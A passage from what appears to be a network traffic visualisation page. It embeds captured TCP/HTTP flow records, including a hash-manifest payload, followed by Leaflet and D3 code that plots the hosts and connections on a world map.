{\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64012, \"tcp_seq\": 2330698868, \"tcp_ack\": 1256294308, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 17, \"PSH\": 9}, \"packet_sizes\": [66, 54, 2006, 2974, 1038, 2345, 54, 481, 54, 54, 54, 92, 1168, 54, 718, 54, 682], \"inter_packet_intervals\": [0.0005328655242919922, 0.42790913581848145, 0.0001518726348876953, 1.2159347534179688e-05, 0.0003428459167480469, 0.008170127868652344, 0.8084850311279297, 0.0016438961029052734, 8.797645568847656e-05, 5.2928924560546875e-05, 0.514578104019165, 0.8769330978393555, 0.0029189586639404297, 0.7415378093719482, 0.0021581649780273438, 0.6319499015808105], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 4.017464876174927, \"avg_packet_size\": 702.8235294117648, \"packets_per_second\": 4.23152423828678, \"bytes_per_second\": 2974.014799944144, \"min_packet_size\": 54, \"max_packet_size\": 2974, \"median_packet_size\": 92, \"avg_interval\": 0.2510915547609329, \"min_interval\": 1.2159347534179688e-05, \"max_interval\": 0.8769330978393555}, {\"source\": \"10.152.152.11\", \"target\": \"194.36.32.201\", \"packet_count\": 6, \"total_bytes\": 741, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64025], \"dst_ports\": [80], \"first_packet\": 1781447327.966555, \"last_packet\": 1781447328.650559, \"packets\": [{\"packet_number\": 96, \"timestamp\": 1781447327.966555, \"timestamp_iso\": \"2026-06-14T19:58:47.966555\", \"timestamp_human\": \"2026-06-14 19:58:47.966\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54145, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020316, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 98, \"timestamp\": 1781447327.966872, \"timestamp_iso\": \"2026-06-14T19:58:47.966872\", \"timestamp_human\": \"2026-06-14 19:58:47.966\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54146, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020317, \"tcp_ack\": 693311472, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1781447327.966938, \"timestamp_iso\": \"2026-06-14T19:58:47.966938\", \"timestamp_human\": \"2026-06-14 19:58:47.966\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54147, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020317, \"tcp_ack\": 693311472, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 112, \"timestamp\": 1781447328.547259, \"timestamp_iso\": \"2026-06-14T19:58:48.547259\", \"timestamp_human\": \"2026-06-14 19:58:48.547\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54148, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020722, \"tcp_ack\": 693312936, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 114, \"timestamp\": 1781447328.609485, \"timestamp_iso\": \"2026-06-14T19:58:48.609485\", \"timestamp_human\": \"2026-06-14 19:58:48.609\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54149, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020722, \"tcp_ack\": 693313912, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 116, \"timestamp\": 1781447328.650559, \"timestamp_iso\": \"2026-06-14T19:58:48.650559\", \"timestamp_human\": \"2026-06-14 19:58:48.650\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.201\", \"ttl\": 128, \"ip_id\": 54150, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64025, \"dst_port\": 80, \"tcp_seq\": 3508020722, \"tcp_ack\": 693315888, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 5, \"PSH\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54, 54], \"inter_packet_intervals\": [0.00031685829162597656, 6.604194641113281e-05, 0.5803210735321045, 0.0622258186340332, 0.04107403755187988], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.6840038299560547, \"avg_packet_size\": 123.5, \"packets_per_second\": 8.771880707722767, \"bytes_per_second\": 1083.3272674037617, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 0.13680076599121094, \"min_interval\": 6.604194641113281e-05, \"max_interval\": 0.5803210735321045}, {\"source\": \"194.36.32.201\", \"target\": \"10.152.152.11\", \"packet_count\": 5, \"total_bytes\": 4698, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64025], \"first_packet\": 1781447327.966578, \"last_packet\": 1781447328.650252, \"packets\": [{\"packet_number\": 97, \"timestamp\": 1781447327.966578, \"timestamp_iso\": \"2026-06-14T19:58:47.966578\", \"timestamp_human\": \"2026-06-14 19:58:47.966\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64025, \"tcp_seq\": 693311471, \"tcp_ack\": 3508020317, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 100, \"timestamp\": 1781447327.966941, \"timestamp_iso\": \"2026-06-14T19:58:47.966941\", \"timestamp_human\": \"2026-06-14 19:58:47.966\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 22191, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64025, \"tcp_seq\": 693311472, \"tcp_ack\": 3508020722, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 111, \"timestamp\": 1781447328.547031, \"timestamp_iso\": \"2026-06-14T19:58:48.547031\", \"timestamp_human\": \"2026-06-14 19:58:48.547\", \"size\": 1518, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"194.36.32.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 22192, \"ip_len\": 1504, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64025, \"tcp_seq\": 693311472, \"tcp_ack\": 3508020722, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 841, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c42\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflB\"}, {\"packet_number\": 113, \"timestamp\": 1781447328.558229, \"timestamp_iso\": \"2026-06-14T19:58:48.558229\", \"timestamp_human\": \"2026-06-14 19:58:48.558\", \"size\": 1030, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 22194, \"ip_len\": 1016, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64025, \"tcp_seq\": 693312936, \"tcp_ack\": 3508020722, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 976, \"payload_preview\": \"4a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d22\", \"payload_ascii\": \"JGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\"}, {\"packet_number\": 115, \"timestamp\": 1781447328.650252, \"timestamp_iso\": \"2026-06-14T19:58:48.650252\", \"timestamp_human\": \"2026-06-14 19:58:48.650\", \"size\": 2030, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 22195, \"ip_len\": 2016, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64025, \"tcp_seq\": 693313912, \"tcp_ack\": 3508020722, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 1976, \"payload_preview\": \"2c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 5, \"PSH\": 3}, \"packet_sizes\": [66, 54, 1518, 1030, 2030], \"inter_packet_intervals\": [0.0003631114959716797, 0.580089807510376, 0.011198043823242188, 0.09202313423156738], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.6836740970611572, \"avg_packet_size\": 939.6, \"packets_per_second\": 7.313426121441502, \"bytes_per_second\": 6871.695183706435, \"min_packet_size\": 54, \"max_packet_size\": 2030, \"median_packet_size\": 1030, \"avg_interval\": 0.1709185242652893, \"min_interval\": 0.0003631114959716797, \"max_interval\": 0.580089807510376}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            